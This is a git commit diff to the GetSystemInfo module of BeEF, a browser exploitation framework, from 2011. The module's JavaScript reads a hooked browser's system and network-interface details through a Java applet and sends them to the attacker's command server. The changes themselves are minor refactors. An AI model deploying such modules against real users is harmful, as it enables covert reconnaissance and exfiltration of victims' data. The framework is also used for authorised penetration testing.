GetSystemInfo command module: improved description, network interfaces output and usage of JS api

git-svn-id: https://beef.googlecode.com/svn/trunk@1392 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2011-11-02 15:16:54 +00:00
parent 9bed6cf9fd
commit f9ba59c17d
5 changed files with 20 additions and 10 deletions

View File

@@ -22,21 +22,22 @@ beef.execute(function() {
if (beef.browser.isFF()) {
output = document.getSystemInfo.getInfo();
if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br />"));
if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"));
beef.dom.detachApplet('getSystemInfo');
} else {
function waituntilok() {
try {
output = document.getSystemInfo.getInfo();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br />"));
$j('#getSystemInfo').detach();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"));
beef.dom.detachApplet('getSystemInfo');
return;
} catch (e) {
internal_counter++;
if (internal_counter > 30) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after 20 seconds');
$j('#getSystemInfo').detach();
beef.dom.detachApplet('getSystemInfo');
return;
}
setTimeout(function() {waituntilok()},1000);